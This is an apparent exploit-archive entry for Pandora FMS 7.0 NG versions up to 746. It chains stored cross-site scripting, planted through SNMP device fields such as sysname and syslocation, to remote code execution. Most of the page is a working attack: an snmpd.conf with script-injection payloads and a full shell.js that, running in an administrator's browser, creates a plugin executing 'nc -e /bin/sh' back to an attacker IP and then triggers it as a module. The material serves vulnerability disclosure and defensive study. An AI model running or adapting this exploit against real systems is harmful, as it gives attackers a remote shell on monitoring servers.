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Pandora FMS 7.0 NG 746 Script Insertion / Code Execution

Pandora FMS 7.0 NG 746 Script Insertion / Code Execution
Posted Jul 11, 2020
Authored by AppleBois

Pandora FMS 7.0 NG versions 746 and below remote code execution exploit that leverages cross site scripting. Requires administrator to perform an snmp scan with a cross site scripting payload.

tags | exploit, remote, code execution, xss
MD5 | 245bf731b05ac276a48b0f51f260ba04

Pandora FMS 7.0 NG 746 Script Insertion / Code Execution

Change Mirror Download
######################################################################################
# Exploit Title: PandoraFMS 7.0 NG ≤ 746 Remote Code Execution
# Date: July 2020
# Author: AppleBois
# Version: 7xx ≤ 746
# Homepage: https://pandorafms.org/
# Software Link: https://sourceforge.net/projects/pandora/files/Pandora FMS 7.0NG/
#
# By asking network administrator to scan SNMP device to trigger Cross Site Scripting(XSS)
# We can call a remote JavaScript file to execute arbitrary code to reach Remote Code Execution
# on PandoraFMS.
#
######################################################################################

//----------------/etc/snmp/snmpd.conf-------------------//
syscontact <script>alert('AppleBois');</script>
syslocation <script type="text/javascript" src='http://192.168.11.130/shell.js'></script>
sysname <script type="text/javascript" src="http://192.168.11.130/shell.js"></script>
sysDesc <script>alert('AppleBois');</script>

com2sec local localhost public
view systemview included .1.3.6.1.2.1.1
view systemview included .1.3.6.1.2.1.25.1
view systemview included .1 80

rocommunity public
//--------------end of /etc/snmp/snmpd.conf--------------//



//----------------shell.js-------------------------------//
//Create Random String
function randomString(len, charSet) {
charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var randomString = '';
for (var i = 0; i < len; i++) {
var randomPoz = Math.floor(Math.random() * charSet.length);
randomString += charSet.substring(randomPoz,randomPoz+1);
}
return randomString;
}
var randomValue = randomString(5);

//Declare Variable
var xhr= new XMLHttpRequest();
var Attacker_IP= "192.168.11.130";
var Pandora_IP ="192.168.11.132";
var port ="4444";
//var payload="form_name="+randomValue+"&form_plugin_type=0&form_max_timeout5f09468e5082e_select=15&form_max_timeout5f09468e5082e_text=15&form_max_timeout=15&form_max_timeout5f09468e5082e_units=1&form_description=Created+By+AppleBois&form_execute=nc+-nv+"+Attacker_IP+"+"+port+"+-e+%2Fbin%2Fsh&form_parameters=&field1_macro=_field1_&field1_desc=&field1_value=&field1_help=&crtbutton=Create"
var payload ="form_name="+randomValue+"&form_plugin_type=0&form_max_timeout5f096ea47b224_select=15&form_max_timeout5f096ea47b224_text=15&form_max_timeout=15&form_max_timeout5f096ea47b224_units=1&form_description=Created+By+AppleBois&form_execute=nc+-nv+"+Attacker_IP+"+"+port+"+-e+%2Fbin%2Fsh&form_parameters=&field1_macro=_field1_&field1_desc=&field1_value=&uptbutton=Update"
var url= "http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=plugins&create_plugin=1&pure=";

//Create a plugin with malicous command
xhr.open("POST",url,true);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*//'*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=&view=1&tab=plugins&pure=");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.send(payload);

//I am sleepy, i just want to sleep 5 seconds. Please
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
sleep(5000);

//Grab newly added Plugin ID
var url="/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2";
xhr.open("POST",url,false);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*//'*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gservers&sec2=godmode/servers/plugin&tab=&view=1&tab=plugins&pure=");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.setRequestHeader("Cache-Control","max-age=0");
var payload ="status_hierachy_mode_sent=1&moduletype=pluginserver&edit_module=1&updbutton=Create";
xhr.send(payload)

var el = document.createElement('html');
var add=xhr.responseText.toString();
el.innerHTML = add;
var dd = el.querySelector('#id_plugin');
var plugin_ID =0;
for (i = 0; i < dd.options.length; i++) {
if(dd.options[i].text == randomValue)
{
console.log(dd.options[i].value);
plugin_ID=dd.options[i].value;
break;
}
}

//Create a new plugin in server module || reverse shell will trigger here
var url = "http://"+Pandora_IP+"/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2";
var payload ="network_component_group=0&id_module_component_type=4&network_component=0&name=AppleBois_"+randomValue+"&disabled_sent=1&id_module_group=1&id_module_type_hidden=1&id_module_type=1&type_names=eyIxIjoiZ2VuZXJpY19kYXRhIiwiMiI6ImdlbmVyaWNfcHJvYyIsIjMiOiJnZW5lcmljX2RhdGFfc3RyaW5nIiwiNCI6ImdlbmVyaWNfZGF0YV9pbmMiLCI1IjoiZ2VuZXJpY19kYXRhX2luY19hYnMifQ%3D%3D&min_warning=0&max_warning=0&str_warning=&warning_inverse_sent=1&min_critical=0&max_critical=0&str_critical=&critical_inverse_sent=1&history_data=1&history_data_sent=1&id_plugin="+plugin_ID+"&macros=eyIxIjp7Im1hY3JvIjoiX2ZpZWxkMV8iLCJkZXNjIjoiIiwiaGVscCI6IiIsInZhbHVlIjoiIiwiaGlkZSI6IiJ9fQ%3D%3D&macro_name%5B%5D=macro_value&custom_id=&unit_select=none&unit_text=&unit=&module_interval_select=300&module_interval_text=5&module_interval=300&module_interval_units=60&moduletype=4&post_process_select=&post_process_text=&post_process=&min=&max=&dynamic_interval_select=0&dynamic_interval_text=&dynamic_interval=None&dynamic_interval_units=1&dynamic_min=0&dynamic_max=0&dynamic_two_tailed_sent=1&id_export=0&throw_unknown_events_sent=1&ff_type_sent=1&each_ff=0&ff_event=0&ff_event_normal=&ff_event_warning=&ff_event_critical=&module_ff_interval=0&ff_timeout=0&id_tag_selected%5B%5D=&id_tag_policy%5B%5D=&quiet_module_sent=1&cps_module=0&description=&critical_instructions=&warning_instructions=&unknown_instructions=&hour_from=*&minute_from=*&mday_from=*&month_from=*&wday_from=*&hour_to=*&minute_to=*&mday_to=*&month_to=*&wday_to=*&max_timeout=0&max_retries=0&id_category=0&parent_module_id=0&autocomplete_agent_name=&agent_autocomplete_idagent_5f0967a872ce2=0&relation_type=direct&crtbutton=Create&id_module=4&create_module=1";
xhr.open("POST",url,true);
xhr.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language","en-US,en;q=0.5");
xhr.setRequestHeader("Accept-Encoding","gzip, deflate");
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer","http://"+Pandora_IP+"/pandora_console/index.php?sec=gagente&sec2=godmode/agentes/configurar_agente&tab=module&id_agente=2");
xhr.setRequestHeader("Content-Length",payload.length);
xhr.setRequestHeader("Connection","close");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.send(payload);
//----------------end of shell.js-------------------------------//
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